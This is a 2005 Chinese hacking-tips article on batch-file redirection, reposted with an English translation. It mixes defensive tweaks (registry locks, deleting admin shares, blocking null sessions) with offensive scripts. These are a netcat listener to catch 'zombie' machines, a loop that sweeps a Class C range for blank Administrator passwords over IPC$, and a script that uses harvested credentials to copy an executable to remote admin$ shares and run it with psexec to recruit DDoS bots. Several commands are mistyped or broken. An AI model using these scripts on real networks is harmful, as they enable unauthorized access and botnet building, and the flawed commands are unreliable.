===================;
以下转载自
www.bluedon.com
===================;
重定向命令在安全方面的攻防应用
【2005-7-21 10:08:00】
大家知道,DOS下有一个不为大家所常用的命令——重定向命令,这个小东西非常有用,该命令同样可以用于Win9x/ME/2000/XP下,灵活的使用这个命令可以给我们带来很大的方便——无论是入侵还是防守抑或是系统应用,都会带来很大的便利。今天就让我们来看几个重定向命令在安全方面的应用实例。
一、命令格式
DOS的标准输入输出通常是在标准设备键盘和显示器上进行的,利用重定向,可以方便地将输入输出改向磁盘文件或其它设备。其中:
1.大于号“>”将命令发送到文件或设备,例如打印机>prn。使用大于号“>”时,有些命令输出(例如错误消息)不能重定向。
2.双大于号“>>”将命令输出添加到文件结尾而不删除文件中已有的信息。
3.小于号“<”从文件而不是键盘上获取命令所需的输入。
4.>&符号将输出从一个默认I/O流(stdout,stdin,stderr)重新定向到另一个默认I/O流。例如,command >output_file 2>&1将处理command过程中的所有错误信息从屏幕重定向到标准文件输出中。标准输出的数值如下所示:
标准输出 等价的数值
Stdin 0
Stdout 1
Stderr 2
其中,1和2都创建一个文件用于存放数据;4可能不能够在DOS下使用。
二、重定向命令的输出
几乎所有的命令均将输出发送到屏幕。即使是将输出发送到驱动器或打印机的命令,也会在屏幕上显示消息和提示。要将输出从屏幕重定向到文件或打印机,请使用大于号(>)。大多数命令中均可以使用大于号。例如,在以下命令中,dir命令生成的目录列表重定向到Dirlist.txt文件:dir>dirlist.txt,如果Dirlist.txt文件不存在,系统将创建该文件。如果Dirlist.txt存在,系统将使用dir命令的输出替换文件中的信息。
要将命令输出添加到文件结尾而不丢失文件中的任何信息,请使用双大于号(>>)。例如,在以下命令中,dir命令生成的目录列表附加到Dirlist.txt文件中:dir>dirlist.txt,将输入重定向到一个命令,就象可以将命令输出发送到文件或打印机而不是屏幕一样,您可以从文件而不是从键盘获取命令的输入。要从文件获取输入,请使用小于号(<)。例如,以下命令将从List.txt文件中获取sort命令的输入:sort
三、应用举例
1.给注册表加锁/解锁
大家知道,注册表HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVerssion\Policies\sys_tem(去掉"_")分支下的DWORD值“Disableregistrytools”的键值如为“1”,则可以给注册表加锁,这样别人就无法使用注册表编辑器。利用重定向命令在DOS下就可以给注册表加锁/解锁,非常方便。
打开记事本程序,新建一个文本文件,输入如下内容:
@echo REGEDIT4>>123.reg
@echo.>>123.reg
@echo >>123.reg
@echo "DisableRegistryTools"=dword:00000001>>123.reg
@REGEDIT /S /C 123.reg
@deltree /y 123.reg
另存为以.bat为扩展名的批处理文件,点击这个文件注册表就会被锁定!
在上面的命令中,echo是DOS下的回显命令,在它的前面加上“@”前缀字符,表示执行时本行在命令行或DOS里面不显示,如果想看到程序执行过程,请将“@”去掉。大家在编写上述代码时要注意的是,第一行中的“REGEDIT4”一定要用大写字母,在第二行中“echo”和“.”之间没有空格。“>>”产生的内容将追加到它后面的文件中。在文件的最后一行加上deltree /y 123.reg,就可以无需确认就删除123.reg文件。
要想给注册表解锁,可以编辑这个批处理文件,只需将"DisableRegistryTools"=dword:00000001改为"DisableRegistryTools"=dword:00000000,其他内容不变,保存为.bat文件,点击就可以给注册表解锁了。
2.把登陆3389的机器IP记录下来
把下面的内容保存为3389IP.bat:
time /t >>log.log
netstat -n -p tcp |find ":3389">>Log.log
start Explorer
运行3389IP.bat,然后查看log.log文件即可看到登陆3389的机器IP,是不是很方便呢?
3.恢复DOS实模式
大家知道,某些恶意网页会修改浏览者的注册表,在无所不用其极的各种手段中,修改注册表使DOS实模式不可用是其中的招数之一。要想恢复DOS实模式方法有很多,用批处理和重定向命令结合使用,是比较特别的一招,在此与大家分享。
echo off
echo REGEDIT4>c:\scanreg.reg
@echo.>>lock.reg
echo >>c:\scanreg.reg
echo "NoRealMode"=dword:00000000>>c:\scanreg.reg
regedit /s c:\scanreg.reg
@del c:\scanreg.reg
另存为以.bat为扩展名的批处理文件,点击这个文件就可以恢复DOS实模式,那些DOS应用程序又可以使用了。
4.等待肉鸡上门
每天费时费力的找肉鸡是不是很辛苦,利用重定向命令和批处理文件就可以让你简单的找到肉鸡!方法是用记事本新建一个文本文件,输入如下内容:
@echo off
:start
nc -vv -w 5 -l -p 80>>rouji.log
goto start
保存为.bat文件(事先得准备好一个nc.exe文件,它是网络故障事件检测软件Netcat的主程序),然后运行此程序之后,你就等着肉鸡上门主动来找你吧!运气好的话,每天10个不成问题。
5.快速进行空连接
空连接是在没有信任的情况下与服务器建立的会话,换句话说,它是一个到服务器的匿名访问。使用命令net use \IP\ipc$ "" /user:"" 就可以简单地和目标建立一个空连接(需要目标开放IPC$)。利用重定向命令和for命令就可以对一个C类网段进行快速的空连接,并把结果保存到一个文件中供你分析。方法是用记事本编辑如下内容的文件:
@echo off
echo 格式:test *.*.*>test.txt
for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use %1.%%Gipc$ "" /use:"Administrator" | find "命令完成" >>test.txt
批处理文件保存为.bat,运行即可。这个批处理文件的功能是对你指定的一个C类网段中的254个ip依次试建立帐号为administrator口令为空的ipc$连接,如果成功就把结果记录在test.txt。这样就实现了NT弱口令扫描功能!其中,for命令的功能是对一组文件中的每一个文件执行某个特定命令,也就是可以用你指定的循环范围生成一系列命令。For命令的格式为:FOR %variable IN (set) DO command ,具体的含义:
%variable:指定一个单一字母可替换的参数。
(set):指定一个或一组文件。可以使用通配符。
command:指定对每个文件执行的命令。
command-parameters:为特定命令指定参数或命令行开关。
在批处理文件中使用FOR命令时,指定变量请使用%%variable而不要用%variable。变量名称是区分大小写的,所以%i不同%I。
6.禁止空连接
空连接的存在对有一定的危险,所以我们还是禁止它为好!方法是输入net share察看本地共享资源,接下来输入如下命令删除共享:
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete(如果有e,f等盘符可以同法删除)
然后用记事本新建一个文本文件,输入如下内容即可:
@echo REGEDIT4>>123.reg
@echo.>>123.reg
@echo >>123.reg
@echo "RestrictAnonymous"=dword:00000001>>123.reg
@REGEDIT /S /C 123.reg
@deltree /y 123.reg
另存为以.bat为扩展名的批处理文件,点击这个文件就可以禁止空连接。
7.扫描所有和本机以TCP协议连接的计算机
扫描自己的计算机端口,发现有特殊端口打开,可以查木马,不仅如此,利用下面这个批处理文件还可以把所有和本机以TCP协议连接的计算机IP地址都记录下来。这个.bat文件内容如下:
data /t>>123.log
time /t>>123.log
netstat -n -p tcp 10>>123.log
这样不仅可以记录下对方的IP,还有时间和日期,方便自己查看。
8.自动获取DDoS肉鸡
DDoS是Distributed Denial of Service的缩写,意即分布式拒绝服务攻击。它是指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发动DoS攻击,从而成倍地提高拒绝服务攻击的威力。通常,攻击者使用一个偷窃帐号将DDoS主控程序安装在一个计算机上,在一个设定的时间主控程序将与大量代理程序通讯,代理程序已经被安装在Internet上的许多计算机上。代理程序收到指令时就发动攻击。利用客户/服务器技术,主控程序能在几秒钟内激活成百上千次代理程序的运行。
虽然不建议大家使用DDoS方式攻击,但作为技术掌握还是很有必要的。可是,如何才能获取进行DDoS攻击的肉鸡呢?把下面的内容保存为ok.bat文件就可以达到目的了:
@echo off
echo自动获取DDoS肉鸡
for /f "tokens=1,3*" %i in (host.txt) do net use \%k\ipc$ /user:"%j"
copy %1 \%i\admin$\sysytem32
if errorelevel 0 goto success
psexec -d \%i c:\winnt\sys_tem(去掉"_")32%1
net user \%i\ipc$ /del
:success
echo ------------------------------>>success.txt
echo 肉鸡:%i>>success.txt
echo 用户名:%j>>success.txt
echo 密码:%k>>success.txt
echo ------------------------------>>success.txt
使用方法是ok.bat *.exe host.txt,其中host.txt的格式为:ip administrator password。好了,快试试吧。但不要用来干破坏哦。
其实,本文所说的方法主要是利用了批处理和相关的命令,重定向命令在其中只是个“传接剂”,起连接作用,但它的功劳也是不小的,所以我们不要忘了重定向命令哦。
===================;
The following is reprinted from
www.bluedon.com
===================;
Application of Redirection Commands in Security Offense and Defense
Everyone knows that there is a command not commonly used under DOS - the redirection command. This little thing is very useful. This command can also be used under Win9x/ME/2000/XP. Flexibly using this command can bring great convenience to us - it will bring great convenience whether for intrusion, defense, or system application. Today let's take a look at several application examples of redirection commands in security.
I. Command Format
The standard input and output under DOS are usually carried out on the standard devices keyboard and display. Using redirection, the input and output can be conveniently redirected to disk files or other devices. Among them:
1. The greater-than sign ">" sends the command to a file or device, for example, printer>prn. When using the greater-than sign ">", some command outputs (such as error messages) cannot be redirected.
2. The double greater-than sign ">>" appends the command output to the end of the file without deleting the existing information in the file.
3. The less-than sign "<" obtains the input required by the command from a file instead of the keyboard.
4. The >& symbol redirects the output from one default I/O stream (stdout, stdin, stderr) to another default I/O stream. For example, command >output_file 2>&1 redirects all error messages during the command process from the screen to the standard file output. The values of the standard output are as follows:
Standard output Equivalent value
Stdin 0
Stdout 1
Stderr 2
Among them, 1 and 2 both create a file to store data; 4 may not be usable under DOS.
II. Output of Redirection Commands
Almost all commands send output to the screen. Even commands that send output to a drive or printer will display messages and prompts on the screen. To redirect output from the screen to a file or printer, use the greater-than sign (>). The greater-than sign can be used in most commands. For example, in the following command, the directory list generated by the dir command is redirected to the Dirlist.txt file: dir>dirlist.txt. If the Dirlist.txt file does not exist, the system will create it. If Dirlist.txt exists, the system will replace the information in the file with the output of the dir command.
To append the command output to the end of the file without losing any information in the file, use the double greater-than sign (>>). For example, in the following command, the directory list generated by the dir command is appended to the Dirlist.txt file: dir>dirlist.txt. To redirect input to a command, just as you can send command output to a file or printer instead of the screen, you can obtain the input of the command from a file instead of the keyboard. To obtain input from a file, use the less-than sign (<). For example, the following command will obtain the input of the sort command from the List.txt file: sort
III. Application Examples
1. Locking/Unlocking the Registry
Everyone knows that if the DWORD value "Disableregistrytools" in the branch HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVerssion\Policies\sys_tem (remove "_") is "1", the registry can be locked, so others cannot use the registry editor. Using the redirection command under DOS, the registry can be locked/unlocked, which is very convenient.
Open the Notepad program, create a new text file, and enter the following content:
@echo REGEDIT4>>123.reg
@echo.>>123.reg
@echo >>123.reg
@echo "DisableRegistryTools"=dword:00000001>>123.reg
@REGEDIT /S /C 123.reg
@deltree /y 123.reg
Save it as a batch file with the.bat extension, and clicking this file will lock the registry!
In the above command, echo is the echo command under DOS. Adding the "@" prefix character in front of it means that this line will not be displayed in the command line or DOS when executed. If you want to see the execution process of the program, remove the "@". When writing the above code, you should pay attention that "REGEDIT4" in the first line must be in uppercase letters, and there is no space between "echo" and "." in the second line. The content generated by ">>" will be appended to the file behind it. Adding deltree /y 123.reg at the last line of the file can delete the 123.reg file without confirmation.
To unlock the registry, you can edit this batch file. Just change "DisableRegistryTools"=dword:00000001 to "DisableRegistryTools"=dword:00000000, keep other content unchanged, save it as a.bat file, and clicking it will unlock the registry.
2. Recording the IP of Machines Logging in to 3389
Save the following content as 3389IP.bat:
time /t >>log.log
netstat -n -p tcp |find ":3389">>Log.log
start Explorer
Run 3389IP.bat, and then view the log.log file to see the IP of the machine logging in to 3389. Isn't it very convenient?
3. Restoring DOS Real Mode
Everyone knows that some malicious web pages will modify the registry of the viewer. Among various means, modifying the registry to make DOS real mode unavailable is one of the tricks. There are many ways to restore DOS real mode. Using a batch file combined with the redirection command is a relatively special trick, which is shared with you here.
echo off
echo REGEDIT4>c:\scanreg.reg
@echo.>>lock.reg
echo >>c:\scanreg.reg
echo "NoRealMode"=dword:00000000>>c:\scanreg.reg
regedit /s c:\scanreg.reg
@del c:\scanreg.reg
Save it as a batch file with the.bat extension, and clicking this file will restore DOS real mode, and those DOS applications can be used again.
4. Waiting for the Shepherd Machine to Come
Is it very hard to find the shepherd machine every day? Using the redirection command and the batch file can let you find the shepherd machine simply! The method is to create a new text file with Notepad and enter the following content:
@echo off
:start
nc -vv -w 5 -l -p 80>>rouji.log
goto start
Save it as a.bat file (you need to prepare an nc.exe file in advance, which is the main program of the network fault event detection software Netcat), and then after running this program, you just wait for the shepherd machine to come to you actively! If you are lucky, 10 per day is not a problem.
5. Quick Empty Connection
An empty connection is a session established with the server without trust, in other words, it is an anonymous access to the server. Using the command net use \IP\ipc$ "" /user:"" can simply establish an empty connection with the target (requires the target to open IPC$). Using the redirection command and the for command can quickly make empty connections to a Class C network segment and save the results in a file for your analysis. The method is to edit a file with the following content with Notepad:
@echo off
echo 格式:test *.*.*>test.txt
for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use %1.%%Gipc$ "" /use:"Administrator" | find "命令完成" >>test.txt
Save the batch file as.bat and run it. The function of this batch file is to sequentially try to establish an ipc$ connection with the account administrator and empty password for the 254 ips in the specified Class C network segment. If successful, the result will be recorded in test.txt. This realizes the NT weak password scanning function! Among them, the function of the for command is to execute a specific command for each file in a group of files, that is, a series of commands can be generated with the specified loop range. The format of the For command is: FOR %variable IN (set) DO command , and the specific meaning:
%variable: Specify a single letter replaceable parameter.
(set): Specify one or a group of files. Wildcards can be used.
command: Specify the command to be executed for each file.
command-parameters: Specify parameters or command line switches for a specific command.
When using the FOR command in the batch file, use %%variable instead of %variable when specifying the variable. The variable name is case-sensitive, so %i is different from %I.
6. Forbidding Empty Connection
The existence of empty connections has certain dangers, so it is better to forbid it! The method is to enter net share to view the local shared resources, and then enter the following commands to delete the shares:
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete (if there are drives such as e, f, etc., they can be deleted in the same way)
Then create a new text file with Notepad and enter the following content:
@echo REGEDIT4>>123.reg
@echo.>>123.reg
@echo >>123.reg
@echo "RestrictAnonymous"=dword:00000001>>123.reg
@REGEDIT /S /C 123.reg
@deltree /y 123.reg
Save it as a batch file with the.bat extension, and clicking this file will forbid the empty connection.
7. Scanning All Computers Connected to This Machine with TCP Protocol
Scanning the ports of your own computer, finding that special ports are open, can check for trojans. Moreover, using the following batch file can also record the IP addresses of all computers connected to this machine with TCP protocol. The content of this.bat file is as follows:
data /t>>123.log
time /t>>123.log
netstat -n -p tcp 10>>123.log
In this way, not only the IP of the other party can be recorded, but also the time and date, which is convenient for you to view.
8. Automatically Obtaining DDoS Shepherd Machines
DDoS is the abbreviation of Distributed Denial of Service, which means distributed denial of service attack. It refers to using client/server technology to combine multiple computers as attack platforms to launch DoS attacks on one or more targets, thereby multiplying the power of denial of service attacks. Usually, the attacker uses a stolen account to install the DDoS master program on a computer. At a set time, the master program will communicate with a large number of agent programs, which have been installed on many computers on the Internet. When the agent program receives the instruction, it launches the attack. Using client/server technology, the master program can activate the operation of hundreds or thousands of agent programs in a few seconds.
Although it is not recommended to use DDoS to attack, it is necessary to master the technology. But how to obtain the shepherd machines for DDoS attack? Saving the following content as the ok.bat file can achieve the purpose:
@echo off
echo Automatically Obtain DDoS Shepherd Machines
for /f "tokens=1,3*" %i in (host.txt) do net use \%k\ipc$ /user:"%j"
copy %1 \%i\admin$\sysytem32
if errorelevel 0 goto success
psexec -d \%i c:\winnt\sys_tem(remove "_")32%1
net user \%i\ipc$ /del
:success
echo ------------------------------>>success.txt
echo Shepherd Machine:%i>>success.txt
echo Username:%j>>success.txt
echo Password:%k>>success.txt
echo ------------------------------>>success.txt
The usage method is ok.bat *.exe host.txt, where the format of host.txt is: ip administrator password. Okay, give it a try. But don't use it for destruction.
In fact, the method mentioned in this article mainly uses batch files and related commands. The redirection command is just a "connector" playing a connecting role in it, but its contribution is also great, so we should not forget the redirection command.